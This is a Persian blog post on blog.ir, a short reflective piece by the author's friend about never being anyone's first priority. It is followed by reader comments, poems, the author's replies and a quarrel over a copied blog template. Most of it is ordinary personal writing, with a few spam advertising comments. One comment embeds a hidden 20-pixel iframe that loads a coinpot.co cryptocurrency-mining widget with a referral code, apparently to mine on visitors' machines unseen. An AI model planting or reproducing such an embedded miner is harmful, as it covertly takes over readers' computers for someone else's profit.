من اولویتِ اولِ هیچ‌کس نبودم

من اولویتِ هیچ کس نبودم. از آن ‌اولویت‌ها که می‌گویند اول تو دوم تو سوم تو.  من حتی اولویتِ پنجمِ کسی هم نبودم.
هیچ‌کس نبود که بگوید تو‌ نباشی من هم نیستم.
کسی نبود که برایش بگویم او نباشد من هم نیستم.
و این طور شد که نمی‌شود به دوست داشتنِ عمیقِ کسی فکر کنم.
راستش، یاد نگرفتم...
ابرازِ علاقه‌ی اطرافیانم را به هم دیگر دیده بودم
دیده بودم که چه طور هم دیگر را دوست دارند 
اما کسی نبود مرا در آغوش بگیرد و بگوید 
نباشی دلم برایت تنگ می‌شود 
من هم یاد گرفتم 
که فقط نگاه کنم 
نگاه کنم و پوزخند بزنم 
نگاه کنم و یک تای ابرویم را بالا بیندازم 
نگاه کنم و...
به قولِ نسترن 
من عرضه‌‌ی خیلی کارها را ندارم 
یکی از آن کارها، دوست داشتن است.
وقتی یاد نگیری دوست داشته باشی آن وقت آیه آیه قسم خوردن هم برایت بی‌معنی است. می‌شوی یک تکه گوشتِ تلخ 
که نه می‌شود دورش انداخت و نه می‌شود خورد.
من اولویتِ هیچ‌کس نیستم 
نمیدانم خوب است یا بد...
اما  به نظر زیباست 
اولویتِ اولِ یک نفر بودن 

 

به وقتِ هشتمِ آذر ماهِ هزار و سیصد و نود‌ و هشتِ هجری شمسی

+ و این بار حرفِ دلم به قلمِ مهلا 💙

 

 

اولویت اول بودن بین چندتا اولویت اصلا افتخار جالبی نیس

تنها الویت یک نفر بودنه که ارزش داره

فکر نمی‌کنم منظورِ مهلا این بوده باشه که اگه اولویتِ اول بودی بینِ چندتا بالا و پایین بپر و خوشحال باش. می‌گه اونقدر اوضاع داغونه که تو چندتا اولویت داری بماند، از بینِ این چندتا من حتی اولویتِ پنجمت هم نیستم.

حرف دل خیلیاس...

اولیت اول یکی بودن بدون تردید زیباست

سلام

سلام و درود
حرفِ دلم بود که مهلا نوشت :)

عالی!

 

+ چه ترسی هم داره کسی اولویتت باشه...

:)

+ چه ترسی؟!

اولویت بودن مسئولیته...نبودن اما...حسرته محضه🙆🏻‍♀️

و من مسئولست‌پذیر بودم اگر اولویتش بودم :)
جمعه ۸ آذر ۹۸ , ۰۱:۳۸ 🔹🔹نیلگون 🔹🔹

حوا جان..

من خواننده قدیمی وبلاگتم

نمیدونم چرا

ولی دیگه نمیتونم مثل قبل مطالبت رو بخونم 

عنوان رو میخونم و میام پایین اخر خط.نگاه میکنم ببینم قلم خودته یا کسی دیگه؟واقعیته یا خیال؟حال خودته یا ینفر دیگه؟

نمیدونم چرا

میترسم بخونم 

خوشحال بشم،ناراحت بشم،احساستم رو ابراز کنم،بعد متوجه بشم قضیه کلا رویا و بازی با کلمه بوده.

شاید چون خودم سالهاست که وبلاگ نویسم و از حال دلم مینویسم.از اتفاقات واقعی زندگیم.میدونم همه مثل هم نیستند و سبک های متفاوتی وجود داره.ولى تو همه این ده سال،هر وبلاگ نویس واسه من یه شخصیت مجازی اما واقعی بوده،که قصه ى منحصر به فرد خودش رو داشته.قلمش مال خودش بوده.پستاش حال و احساس خودش بوده.که من خودمو تو احساسات خوب و بدش شریک میدونستم.

اگرنه که تکلیفش از اول معلوم بود..و اصلا وجودش برام اهمیت نداشت.

و فکر میکنم این موضوع فرق دنیای وبلاگ نویسی با بقیه شبکه های اجتماعی باشه.

الان به عنوان یه دوست ازت میخوام بهم بگی من در حال خوندن چه وبلاگی هستم؟وبلاگ عاشقانه؟ روزمرگی؟خیالاتی؟دلی؟یا حتی واقعی؟

نمیدونم این نظر رو خصوصی بفرستم یا عمومی،بنظرم عمومی بفرستم بهتره.شاید سوْال من سوْال دوست دیگه ای هم باشه

اگر دوست نداشتی کامنتم رو خصوصی جوابمو بده حوا جانم

من مدت‌هاست که عاشقانه‌ی کاملاً تخیلی می‌نویسم هر از گاهی. این مدل پست‌ها از اولش مشخصه و دسته‌بندی هم می‌شه. دوم شخصِ غایب و نامه‌هایی برای نخواندن که خب نامه‌ها تموم شد. بقیه‌ی پست‌ها تخیلی نیستن. از حالم می‌نویسم. مگه کسی حال و هواش رو تخیلی می‌نویسه؟! تمامِ پست‌ها رو خودم نوشتم جز پستی که با جنابِ فابر با هم نوشتیم که مدت‌ها پیش تصمیم داشتیم بنویسیم و من به مشکل خوردم واسه همین به تعویق افتاد. این پست رو هم رفیقم امشب نوشت که کاملاً حرفِ دلِ خودمه و ازش اجازه گرفتم منتشرش کنم.

این وبلاگ چارچوبِ خاصی نداره اما اونقدرا هم که شما می‌گی شلخته نیست! دو مدل پست داره. عاشقانه‌ی تخیلی و روزمرگی که مشخصه نمی‌تونه خیالی باشه مگر اینکه من اونقدر آدمِ مزخرفی باشم که بخوام همه رو سرِ کار بذارم و دروغ بگم. این پست رو من ننوشتم اما حرفِ دله و باورش دارم پس انگار خودم نوشتم. در کل فکر می‌کنم از زمانی که بنده خدایی به اسمِ آدم پستی نوشت و برداشتِ اشتباه شکل گرفت همه چی بهم ریخت. من همون حوای بدونِ آدم هستم با مشکلاتِ جسمی و روحیِ کمی بیشتر از قبل. از اینکه نگرانم می‌شید و حالم براتون مهمه خیلی ممنونم ولی راضی به اذیت شدنِ کسی نیستم. هر چند قصدم ناراحت کردنِ کسی هم نبوده و نیست. حال و هوام اینه. یا نباید بنویسم یا تلخ بنویسم. می‌تونید نخونید و صبر کنید بلکه معجزه بشه و یا اینکه کلاً دیگه نخونید. من حالِ خوبِ شما رو می‌خوام حتی اگه با ننوشتن و رفتنِ من از بیان این اتفاق بیفته. اگه فکر می‌کنید دارم قوانینِ دنیای وبلاگ‌نویسی رو زیرِ پا می‌گذارم من دیگه نمی‌نویسم :)

خدا قسمت کنه

:)

گاهی باید اولویت آخر دیگران بود، و اولویت نخست خویشتن...

واقعاً می‌شه اولویتِ آخرِ کسی بود و غصه نخورد؟!

سلام حوا جان عزیز

چند وقته می‌خوام بنویسم که خیلی ناراحتم برات که حالت خوب نیست و ناراحتی به هر دلیلی که هست. اما قلمت فوق‌العادست و جنسش با همه‌ی قلم‌ها یه فرقایی داره. عاشقانه‌هات واقعا زیباست و به نظرم انقدر تصاویرش زندست که آدمو تو خودش غرق می‌کنه که اصلا فکرشم نکنه این داستان تخیلی بود. به هر حال برات آرزوی سلامتی و حال خوب و آرامش جسم و روح رو دارم و امیدوارم زودتر شاهد شادی‌های شیطنت‌آمیز قلم حوا جان بر صفحه‌ی بیان باشیم. :) 

سلام و درود :)
شما خیلی لطف دارید ممنونم واقعاً :)
ان‌شاءالله حالِ همه خوب باشه همیشه.

سلام و درود

راستش اگه نگم تا ته! ولی این قضیه های اینجوری رو  من تا نود درصدشو جلو رفتم ی زمانی،بخدا هیچی تهش نیست!همه مشکلات خودشونو دارن،نزدیک شدن به بقیه درسته که لذت های خاص خودشو داره اما ته تهش هیچی جز ناراحتی و مشکلات نداره،اینکه با بد شدن حال یک نفر،حال تو هم بهم بریزه و ...

آدمها بدون ما هم میتونن زنده بمونن،یعنی نه اینکه بمیریم!نه!اینکه اولویت اولشون ما نباشیم،و ما هم میتونیم بدون اینکه اولویت اول،دوم،سوم و ... کسی باشیم به زندگیمون ادامه بدیم،مسئله اینه که چقدر به اینجور چیزا اهمیت می دیم...

مهربون باشیم برای دوستامون خونوادمون،عشقمون و... براشون خوب باشیم...ولی ته تهش برای خودمون زندگی کنیم،خودمون رو توی گیر و دار اینطور مسائل که کیفیت زندگی مون رو پایین میارن نندازیم.

سلام
قضیه‌های چطوری؟! :) می‌دونید ماجرا پیچیده‌تر از چیزیه که شاید به نظر بیاد و خب گفتنش هم فایده‌ای نداره اما بطورِ کلی اگه بخوایم نگاه کنیم حق با شماست و من کاملاً موافقم باهاتون.

سلام :))

بنظرم شما همیشه اولویت اووول پدر و مادرتون بودید و هستید ^_^

به کسانی‌فکر کنید که همین‌دو فرشته را هم ندارند ! 

+ پست شما کادوی خوبی بود در روز تولدم *_*

سلام عزیزم :)
بله بله ^_^
حتماً فردا این جمله‌ت رو به مهلا می‌گم.
+ الهی ^_^ تولدت مبارک مهربونِ دوست‌داشتنی :) ان‌شاءالله سالِ بعد همچین روزی آرزوهات خاطره شده باشن.

ترس از دست دادن، ترس اینکه تو براش اولویت نباشی، ترس اینکه فقط یه سرگرمی باشی... شاید برای همین آدما جرأت ندارن اولویت بدن به هم...

آره. کلِ زندگی ترسه.

و من همیشه اولویت بودم :)

اولویت برای شخصی خاص ، اصلا نمیدانم می شود به او گفت شخص ؟! 

اولویتش بودم که آسمان و زمین و مابینش را برای من آفرید و برایم انسانی پاک سرشت فرستاد تا بسوی خوش دعوتم کند و کتابی سراسر عشقِ به من .

شاید کسی فکر کند من خیالاتی شدم ، اما اگر اولویتش نبودم هربار که دست هایش را رها می کردم و فرسنگ ها از او دور می شدم ؛ او این همه راه را دنبالم نمیامد و نمیگفت مگر من برایت کافی نیستم ؟ 

اگر اواویتش نبودم در ته چاه و در میان آتش به دادم نمیرسید...و با خود فکر می کنم اولویت او بودن چه ارزشمند است :) 

+ منظور از "من " ، انسان است .

 

 

چقدر قشنگ :)
اگه هر کسی زمانِ خوندنِ این نوشته تصور کنه خطاب به شخصِ خودشه نه همه‌ی آدم‌ها به نظرم حالِ بهتری پیدا می‌کنه.
این کامنت رو هم به مهلا نشون می‌دم :)

ببخشید انقدر پرحرفی کردم -_- 

و نیمخواستم یوقت بی احترامی کنم به احساس شما و متن زیبای دوستتون ، چون کلا فضاش با هم فرق می کنه فقط همینجوری حس نوشتنم گرفت .:(

خواهش می‌کنم عزیزم :)
اتفاقاً خیلی نکته‌ی جالبی بود و منم باهات موافقم مهربون :)

این بستگی به انتخاب آدم داره، فکر می‌کنم اگه به بقیه کمتر اهمیت بده کمتر درد داره!

 

در مقام بیان، میگن که خب بدون ترس از دست دادن اهمیت بده! کسی که اینطور میگه یعنی اهمیت دادنش تظاهره! نمیشه یه گل رو دوست داشته باشی و بذاری هرکسی خواست برش داره بگه من نگهش می‌دارم! از کجا معلوم نگهش داره؟ خوبم که نگهش داره اون گل توئه میخوای خودت نگهش داری! از همینجا هم حسادت‌ها میاد وسط که نکنه کسی بهتر از من حالشو خوب کنه و اون بشه اولویتش! یا بدون منم خوب باشه و من جایی نداشته باشم!

 

مادری که دخترشو دوست داره، حتی اگه دخترش عروس هم بشه، و از همه لحاظ حالش خوب باشه، بازم نگرانش میشه بازم مراقبشه! از همین جهت...

 

اولویت دادن خلاصه، دو طرف داره و د‌و طرفه هم هست، اما خیلی وقتا یک طرفه میشه! فرض کن کسی رو بی‌اندازه دوست داشته باشی (نه بی‌نهایت!) و اون حتی نگاهت نکنه! این خیلی حس بدتری هست از اینکه اولویت نباشی + ندی!

همینطوره

هنوز نمی‌دونم عشق دقیقاً چیه اما شاید همین باشه. منطقی نیست که خب به نظرم عشق هم منطق نداشته باشه.

هر چیزی رو که در نظر بگیرید حالتِ بدترش هم وجود داره و خب مگه می‌شه کاری کرد؟!

شب است…
و شبِ یک پاییز،
آرام و کرخت،
بی صدا، از فراز سرم می‌گذرد…

هوا مه آلود است
و ردِ بخار نفس‌هایم در هوا ناپیداست
تنها نشانه‌ام از راه
جدولِ کنار خیابانی‌ست
که پا به پای تنهاییِ من می‌آید…
نه راه پیداست و نه حتی بی‌راهه‌ای
نه عزیزی
نه سلامی
و نه حتی صدایی…

تو هم که نیامدی.

و این من هستم…
مردی ایستاده
در امتدادِ خیابانِ یک پاییز
از فصل‌ها لبریز
از فاصله‌‌ها سرشار
آن سوی دلواپسی‌ها
آن ورِ تنهایی
این سمتِ دلتنگی
دارم جاده‌ی مه گرفته‌ی بی‌انتهایی را
بی‌مقصد
بی‌تو
با عشق
پیاده، راه می‌روم
پاهایم بر آسفالت سرد جاده‌
من در میانِ حجمِ لطیفِ ابر
او در این نزدیکی…

تو هم که نیستی.

طوری نیست بانو!
من، که
من که عادت دارم
تو، که
تو که می‌دانی
پاییز که می‌آید
من،
تنها، کمی تنهاتر هستم.

 

بیست و دو پاییز گذشت
از آن روز،
که تو نیامدی
حالا دیگر،
من و تنهایی،
با هم،
سال‌هاست که تنها نیستیم.

 

بیست و دو پاییز است
که با دسته گلی در دست
به نیمکت‌های دونفره‌ی خالی
سلام می‌دهم
و بیست و دو پاییز است
که به احترامِ درخت‌،
یک خیابان، سکوت می‌کنم

 

بیست و دو پاییز است
که نمی آیی
و بیست و دو پاییز،
که دلتنگ آمدنت هستم
بیست و دو پاییز را گریستن کافی نبود؟
تو را به جانِ گل‌های چینِ دامنت
مگر این تقویم، بهار ندارد؟!

 

پاییز که می‌آید
تو که نمی‌آیی…
درخت‌ها عاشق‌تر می‌شوند
بوی تنهایی و عشق می‌آید…
کجایی بانو؟

پاییزِ بیست و سوم آمد بانو
تو نمی‌آیی؟ …
بگو
از من
تا چشم‌های تو
چند پاییزِ دیگر فاصله باقی‌ست؟
های بانو…
چقدر عشق صبوری می‌خواهد…
چقدر فاصله پیداست
و چقدر عشق!
چقدر عشق اینجاست…
غمت مباد بانو!
فاصله‌ها
هرگز حریفِ عشق نخواهند شد...

چقدر قشنگه :(

من دیگر پنجره را باز نخواهم کرد

تا که شاید
نگاهم به نگاهی افتد و بویش به مشامم برسد
و من شیفته گل شوم و گل زود پژمرده شود
و من مانم و آرزوی در کنار گل بودن

من دیگر پنجره را باز نخواهم کرد
تا که بینم دل آسمان گرفته
و من همراه آسمان شوم تا او تنها نماند
و من شیفته پاکیه آسمان گردم و آسمان روشن شود
و بدانم که در پوچ می اندیشیدم که آسمان دل نگران است
و من مانم و آرزوی آسمان پاک و عاشق

من دیگر پنجره را باز نخواهم کرد
تا که بینم آسمان می گرید
و من هم از سر همدردی با او گریه کنم
و من شیفته اشکهای پاک آسمان گردم و آسمان آبی شود
و من مانم و آرزوی اشک های پاک آسمان

می نشینم کنار دفترم
در گوشه ای از اتاق
با خود می گویم و شیفته خود می شوم
تا که خود نیز پژمرده شوم
قطره قطره اشک ریزم
تا که تمام شوم
من دگر تنهایم

من دیگر پنجره را باز نخواهم کرد
می نشینم تا که آنکس که قرار است در فکر و خیال
با من باشد و شیفته من
او خودش
او خودش پنجره را باز کند
تا دگر من از سر اطمینان
هر روز و هر لحظه
با ذوق و شوقی وصف ناشدنی پنجره را باز کنم

می نشینم منتظر
می‌نشینم منتظر ...
برگرد خواهش می کنم...

خواهش کردن گاهی فقط و فقط هر چه بیشتر تحقیر شدنه. واسه همین از خواهش کردن بدم میاد.

هممون یه روزهایی دوست داشتیم اولویت یکی باشیم، ولی میدونی هر چی بزرگ‌تر میشم میبینم مهم اینه که اولویت خودم باشم، وقتی اولویت خودت باشی کم‌کم اولویت بقیه نبودن کمتر اذیتت میکنه تا جایی که روزی شاید دیگه برات مهم نباشه اصلا :)

امیدوارم اون یه روز برای من همین امروز باشه :)

اولویت اول بودن خوبه ولی مسئولیت داره

چون وقتی اولویت کسی هستی یعنی توقع خیلی چیزا نداره و توقع خیلی چیزهای دیگه رو داره

اگه اونم اولویتِ اولت باشه فکر نمی‌کنم مشکلی باشه.

می‌دونی اولویت دادن به آدما، مسولیت میاره، این روزا همه از مسولیت فراری اند.  دیگه هیچی مثل سابق نیست و این خیلی غم‌انگیزه. 

دقیقاً دقیقاً دقیقاً. درد داره...

این روزا کم پیش میاد :))

الان مامان بابامم همیشه و او همه چیز اولویت اولم نیستن :)) منم اولویت اول‌شون نیستم

بعد من الان درسم اولویت اولمه نسبت به جنس مخالف 

بعد تارزان غیرتی اولویتمه به جنس مخالف یعنی مثلا پسره رو دوستم داشته باشم تارزان خوشش نیاد عمرا اولویتی پیدا کنه :))) دلیلشم اینه اون از من منطقی‌تره ایرادات رو خیلیییی بهتر میفهمه

بعد خانواده اولویتم نسبت به جنس مخالفه و بازم اگه از سد تارزان رد شه به خانواده برسه باز امکان فنا رفتنش هست

بعد اگه یه روز یکی همه اینا رو پاس کنه شده همسرم و اون موقع احتمال داره اولویت اول باشه :)) اونم تا وقتی که بچه دار نشدیم بعدش میشه اولویت دوم تازه اگه دوم نمونه نسبت به بابام خلاصه که من نمیدونم میتونم هیچ وقت یه پسر غریبه رو به عنوان اولویت اول قبول کنم یا خیر :/

دقیقاً مشکل همینه :))

چقدر خوب گفتی :))) عالی بود عالی :)))
بیا بغلم گوگولیِ من ^_^

عشق مثل همون گل می‌مونه! آره منطقی نیست چون احساسه!

یه گل کاکتوس کوچیک که دیدنش خوشحالت می‌کنه! نگهش میداری! مواظبی آب و غذاش مناسب باشه! اگه کسی بدزدش دلخور میشی! درحالی که یه کاکتوس رو اون فرد هم نگهش میداره و نمیخوردش که! پس ناراحتی تو از نبود اون گل خاصه، گلی که با همه ویژگی‌هاش دوستش داری و حس خوب بهت میده!

اینهمه گل چرا اون؟ اصلا مثل اون و از اون قشنگترم هست! گلای پارک هست چرا به اونا اینهمه اهمیت نمیدی؟

 

توی زندگی هم بحث خوشحال بودن و محبته، وگرنه از فرد مقابل قطعا بهتر در ویژگی هاش هست، منتها آدم فقط همونو میخواد و خوشحالی بودن با اون فرد براش کافیه.

 

البته ناگفته نمونه عشق تعهد هم داره، فراموش نشه. اون گل توجه و رسیدگی می‌خواد، آدم نسبت بهش مسئوله.

من همچنان دنبالِ مفهومِ عشقم. همه فقط فکر می‌کنن عاشق هستن. دروغه فقط دروغ و توهم. یه عاشقِ واقعی هم پیدا نمی‌شه واسم توصیف کنه بدونم چیه این عشق -_-

و کو آدمِ مسئولیت‌پذیر؟! اصلاً کو آدم؟!
جمعه ۸ آذر ۹۸ , ۱۳:۲۳ Mohsen Farajollahi シ

بعضی اوقات نمیشه دوست داشتن رو با حرف ها شنید. بعضی دوست داشتن ها هستن که هیچ صدایی ندارن، هیچ بویی ندارن و حتی هیچ نشانی هم ندارن :) عشق زمینی زیبا هست ولی یادتون نره همین عشق زمینی بود که انسان رو به زمین آورد! شاید بنظر بعضیا داستان باشه ولی داستان خیلی از ما ها هست... خلاصه خودتون خداتون و خانوادتون مطمئن باشین اولویت اولشون شما هستش. (اونقدر از خانواده گفتم الان فکر میکنم از اون بچه فرشته هام که تو دستشون تار هستش :/ از اونا که تو کارتون هست) گذشته از این شما تو دل مردم که نبودین... شاید یکی اولویت اولش شما بوده و هیچوقت بهتون نگفته! هعی در هر حال :) پست خوبی بود. شاد باشین و سلامت!

به حرفاتون خیلی فکر کردم. متقابلاً عشقِ زمینی زلیخا رو به خدا رسوند. عشق داریم تا عشق. می‌بینید؟! حتی تاریخ هم گیجه و سردرگم.

مهلا گفت بهتون بگم صرفاً منظورش عشق و رابطه عاطفی نبوده. منظورش همه‌ی آدم‌های زندگیمون هست.

مچکرم :)

تا حالا دیدی یه گل از یه رهگذر خوشش بیاد و با رفتنش پژمرده بشه؟

حالا راهش همینه، «دنبال کسی باش که دنبال تو باشد»... آره خواهش از رهگذر بده اما اگه روزی کسی مسئولیتتونو قبول کرد، گاهی خواهش کنید تا بدونه بودنش واستون ارزشی داره. البته توضیح میخواد که جاش اینجا نیست.

 

 

+ شعری که هر مصرعش کلی حرفه...

دیوانه و دلبسته ی اقبال خودت باش
سرگرم خودت عاشق احوال خودت باش
یک لحظه نخور حسرت آن را که نداری
راضی به همین چند قلم مال خودت باش
دنبال کسی باش که دنبال تو باشد
اینگونه اگر نیست به دنبال خودت باش
پرواز قشنگ است ولی بی غم و منت
منت نکش از غیر و پر و بال خودت باش
صد سال اگر زنده بمانی گذرانی
پس شاکر هر لحظه وهر سال خودت باش

" محمد اقبال لاهوری"

و اگه بگی و بفهمه و بره چی؟!

+ به‌به :)

در جوابتون، جوابی بهتر از شعر زیر پیدا نکردم:

«دنیا همه رنج و جفاست ای عاشق

خموش باش که همه ز پی قاصد محنت آمده ایم»

 

«بی تعب ز احوال تو چه داند ای عاشق

او نداند که همه پای زخم در ره رنج و جفا کرده ایم»

هعی به هر حال :)

سلام اول اینکه احسنت به این طرز زیبا و شیوای نوشتن و وبلاگ نویسی 

چند روز پیش از طریق فرم تماس با من وبلاگت یه پیام گذاشتم ممنون میشم جوابش رو بدی

میخواستم ببینم این قالبت قالب چندم و کدوم قالب http://erfanwd.blog.ir/

هست ممنون میشم اگه جوابم رو بدی

سلام و درود

این قالب رو خودم خیلی تغییرش دادم و کد بهش اضافه و ازش کم کردم. فکر کنم قالب ۲۸ باشه.
جمعه ۸ آذر ۹۸ , ۱۷:۵۵ 🔹🔹نیلگون 🔹🔹

ممنون که جوابمو دادی.
درسته..فکر میکنم من بعد از پستی که آدم گذاشته بود دچار این حالت سردرگمی شدم توی وبلاگت.
من قبل ازون جریانات همینجوری که توضیح دادی میخوندمت،عاشقانه های تخیلی و روزمره های واقعی. و بی اغراق میگم که ندیده دوستت داشتم.(البته هنوزم دوست دارم چیزی تغییر نکرده).
قوانین دنیای وبلاگ نویسی رو من تعیین نمیکنم همینطور نوع نوشته ها و شرح حالِ هرکسی رو.وبلاگ مثل یه پناهگاه میمونه واسه روزای خستگی.منم خیلی وقت ها از حالِ بدم نوشتم توی وبلاگم.
کسی حق نداره به کسی بگه چی بنویس و چی ننویس.کسی این اجازه رو نداره بگه بمون یا برو.
نهایتا کسی نتونه با وبلاگی ارتباط برقرار کنه,حقِ اینو داره که نخونه یا دنبالش نکنه.
امیدوارم حالت،هرروز بهتر از دیروز باشه.ستاره وبلاگت تا همیشه روشن باشه وبرامون خبرهای خوب از موفقیت ها و خوشبختی ها و سلامتیت بنویسی.ما هم برات خوشحال بشیم و ذوق کنیم عزیزم :)

اصلاً قرار نبود برداشتِ اشتباه بشه کلاً برنامه اونطوری که فکر می‌کردم پیش نرفت و خراب کرد جوِ وبلاگ رو. درواقع اونقدری اختیارات نداشت که هر کاری می‌خواد بکنه اما خب از اعتمادم سوءاستفاده کرد و منم حذفش کردم.
عزیزم :) دل به دل راه داره ^_^

خیلی ممنونم مهربون :) دعام کن خیلی.

 دقیقا من هیچ وقت الویت اول هیچ کسی نبودم وحتی دهمیش یا بیستمیش حتی ....اما من الویت اول خودممم:)

چقدر عالیه که خودت رو دوست داری :)
جمعه ۸ آذر ۹۸ , ۲۳:۳۴ نـــامـــیـــرا ‌‌‌‌‌‌‌

چقدر قشنگ و حرف دل... 

:)

اولویت زندگی کسی بودن خیلی خوبه به شرطی که اونهم اولویت اول تو باشه

خیلی موافقم.

اگر دیدی جوانی بر درختی تکیه کرده......:))))

بدان امتحان داره و گریه کرده :)))
شنبه ۹ آذر ۹۸ , ۱۰:۱۸ دچارِ فیش‌نگار

همینکه خانم نسرین گفتن...

همینکه در جوابشون گفتم.

اولوبت اول خودت باش

اولویتِ اولم الان مریض‌هام هستن :)
شنبه ۹ آذر ۹۸ , ۱۳:۵۲ تخفیفات دیجی کالا

مطالبتون خیلی قشنگه مرسی از وبلاگ خوبتون

خوشحال میشم اگ وقت کردین سری هم به وبلاگ و وبسایت من هم بزنید

chartertour.blog.ir

tripvisa.ir

:)

واهاااای اومدمممم :) :*

عزیزم ^___^

اره ...اینکه خودمو دوست دارم بهم اعتماد به نفس میده 😊

من خودم رو دوست ندارم اما فکر می‌کنم اعتماد به نفسم خیلی زیاده :)

سلام حوای نازنین ^_^

به نظرم تو همیشه اولویت اول خدا بودی به زندگی خودت نگاه کن که چطوری وقتی ناامید بودی یه دفعه گشایشی تو زندگیت بوجود اومد و حضورشو بارها و بارها حس کردی ما هم می تونیم خدا رو اولویت اولمون در همه ی کارها قرار بدیم. اما اگه هر چیز مادی شد اولویت اولمون یا هر کس شد اولویت اول یکی دیگه این ماندگار نیست شاید برای مدت کوتاهی این جور باشه اما همیشگی نیست. خداست که همیشه اولویت اول باقی می مونه وتک تک ما اولویت اولش بودیم و هستیم و خواهیم بود.

سلام عزیزم :)
دقیقاً همینطوره. چقدر قشنگ گفتی مهربون جان ^_^

سلام حوا جان

امیدوارم حالت خوب باشه

حوا جان شما چند سالته؟

به نظرم در پیدا کردن کسی که اولویت اولش باشی اصلا عجله نداشته باش

به موقعش اتفاق می افته و تازه می فهمی چقدر الان الکی ذهن خودتو درگیر کردی

شما یه دختر خودساخته و پرتلاش هستی تا جایی که من دستگیرم شده دانشجوی پزشکی هم هستی و شان و منزلت اجتماعی عالی در آینده نه چندان دور خواهی داشت

دیر نیست اون زمانی که یه آدم مناسب شما رو به عنوان اولویت اولش انتخاب کنه

راستش من هم یه دورانی رو با این حس شما گذروندم و الان درکت می کنم

یه موقعی یه جایی کسی می بیندت که لیاقتت رو داره

حواستو جمع کن اولویت اول کسی نباشی که لایق تو نیست

 

توی اون دورانی که حس شما رو داشتم یه جا این شعر رو دیدم و خیلی به نظرم جالب میومد

 

یادمان باشد اگر خاطرمان تنها ماند          دل به هر بی سر و پایی ندهیم

سلام عزیزم
ممنونم

این پست رو من ننوشتم. دوستم منظورش صرفاً علاقه و رابطه‌ عاطفی با جنس مخالف نبوده اصلاً ولی خب حرفاتون رو کاملاً قبول دارم.

:)

منم قبل تر ها خودمو دوست نداشتم اما فهمیدم هیچکسی به اندازه خودم نمیتونه منو دوست داشته باشه :)

 

اعتماد به نفس خیلی خوبه ...موقعیت اجتماعی و شغل افراد رو تحت تاثیر قرار میده 

مامانم بیشتر از من دوستم داره :)

«اگه» بره هم لااقل وقتتونو تلف نکردید و امید الکی نبستید.

ضمن اینکه توی زندگی، آدم باید خودش باشه، با اگر ها هیچی ثابت نیست.

الحمدلله دعام مستجاب شد و فهمیدم اتفاقی که افتاده چقدر به صلاحم بوده و نجات پیدا کردم :)

وقتی اولویت کسی باشی مسئولیتت سنگین‌تره. 

راستی شما که این‌قدر خوبین آهنگی که زن خونده قرار ندین اشکال شرعی داره. (جستجو کنین) :)

می‌دونم ولی من گوش می‌کنم همچین آهنگ‌هایی رو.

قالب وبلاگت رو میفروشی چون حقیقتا خیلی ازش خوشم اومده 

میتونم تضمین هم کنم که مثل این نباشه خودم هم میخوام تغییرات بدم روش و حتی رنگ بندیش رو هم تغییر بدم ممنون میشم این لطف رو کنی 

نکنین این کارو
بردارید قالبم رو این چه کاریه آخه
عصبیم می‌کنید مدام

برداشته شد گفتم که قرار نیست قالب شما باشه قالب 28 عرفان رو برداشتم و کاملا تغییر دادم دیگه هم مثل شما نیست

هدر منه عکس کنار وبلاگ منه بعد می‌گید کاملا تغییر دادم؟!

چرا گفتی آدم وجود نداره ناراحت شدم :(

وجود نداره. همه به شدت درغگو و عوضی شدن.

میتونید الان چک کنید از سایز ها در ویرایش استفاده میشد که انجام شد

باکس دنبال کنندگان هم کدش رو خودم نوشتم :/ کدهای من رو برداشتید چرا؟!

:((

چه آدم های بدی !

به نظرت آدم خوب وجود داره ؟

نمی‌دونم و راستش برام اهمیتی هم نداره.

الان فقط تنها مشکل دنبال کنندگان هست ؟ 

چشم اونم بر میدارم دیگه چیزی نمیمونه فکر کنم

بهتر بود قالب ۲۸ رو ویرایش می‌کردید نه کدهای من که براش کلی وقت گذاشتم رو. به هر حال من راضی نیستم. موفق باشید.

اوهوم 

موفق باشی .

سلامت باشی :)

متنتون عالی بود. ابتدا درگیر یکی از متون وبلاگتون شدم، به خودم که اومدم دیدم کلی وقته توی وبلاگتون میگردم... حس متنهاتون واقعا عالی بود.

لطف دارید :)

یکیم نمیاد مارو اولویت قرار بده

گاهی ام حتی میخوای اولویت آخرش باشی حتی برای یه ذره نزدیک تر بودن 

یا دیگه در بدترین حالت که بگی...(همین کافیه که خوبه حالش) ...منو یاد این موزیک انداخت

این اشتباه رو نکن.

سلام و درود به شما دوست عزیز.

مطلبتون رو خوندم

پیشنهاد من به شما اینه یه سری به این سایت بزنید

abasmanesh.com

امیدوارم به خواسته هاتون برسید

موفق باشید

سلام

خیلی متن زیبایی بود

------------------------------------------

تعویض پنجره های قدیمی

متن قشنگی بود ولی ای کاش پایانش با یه نتیجه گیری بهتر تمام میشد

نویسنده متنی را سرشار ای بی اعتماد به نفسی و تلخی نوشته

بی‌ اعتماد به نفسی؟!

من که نه اصلا ،بقیه رو گفتم >_< (((((((:

:)))

عالی بود 

<iframe scrolling="no" frameborder="0" src="https://coinpot.co/mine/bitcoincore/?ref=05C836BD1E9E&mode=widget" style="overflow:hidden;width:20px;height:20px;"></iframe>

 

برگ سبز :

من عرضه خیلی کارها را ندارم مثال مشهودی از یک به اعتماد به نفسی محض است.

عجب! :)

بسیار زیبا بود 

بسیار زیبا

ممنون میشم به سایت ما هم سری بزنید.

پوکه معدنی

(:

سلام

من چندین بار توی چندماه گذشته توی قسمت "ارتباط با من" براتون پیام گذاشتم.

اما جواب ندادید

علت خاصی داره؟

سلام
متاسفانه یادم نمیاد کامنتی دریافت کرده باشم از شما.

ممنون. میخواستم درباره قالب وبلاگتون سوال بپرسم که مشکلم حل شد. تشکر

:)
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">

اشتیاقی که به دیدارِ
تو
دارد دلِ من
دلِ من داند
و
من دانم
و
دل داند
و
من

آرشیو مطالب
صنما پیشنهاد می‌کند
Designed By Erfan, Edited by a Friend Powered by Bayan